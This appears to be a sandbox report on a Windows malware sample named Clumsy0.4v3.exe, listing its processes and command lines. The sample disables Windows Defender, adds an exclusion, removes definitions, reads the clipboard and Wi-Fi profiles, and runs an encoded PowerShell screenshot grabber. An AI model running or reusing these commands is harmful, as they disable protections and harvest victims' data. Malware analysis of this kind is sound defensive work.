N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4432 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
PID 4432 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
PID 4236 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 4832 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 4832 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4948 wrote to memory of 3976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4948 wrote to memory of 3976 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4832 wrote to memory of 3408 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4832 wrote to memory of 3408 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3296 wrote to memory of 1136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3296 wrote to memory of 1136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 4236 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3140 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3140 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 3140 wrote to memory of 4724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3140 wrote to memory of 4724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 720 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 720 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4236 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3456 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 5068 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 3456 wrote to memory of 2036 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3456 wrote to memory of 2036 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5068 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5068 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1560 wrote to memory of 216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1560 wrote to memory of 216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3012 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3012 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 1208 wrote to memory of 4744 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1208 wrote to memory of 4744 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3396 wrote to memory of 372 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3396 wrote to memory of 372 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3088 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3088 wrote to memory of 4068 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3364 wrote to memory of 2168 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3364 wrote to memory of 2168 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4236 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 5072 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 2944 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2944 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 5072 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 5072 wrote to memory of 4664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4236 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe
PID 4236 wrote to memory of 4784 N/A C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tnat4oei\tnat4oei.cmdline"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

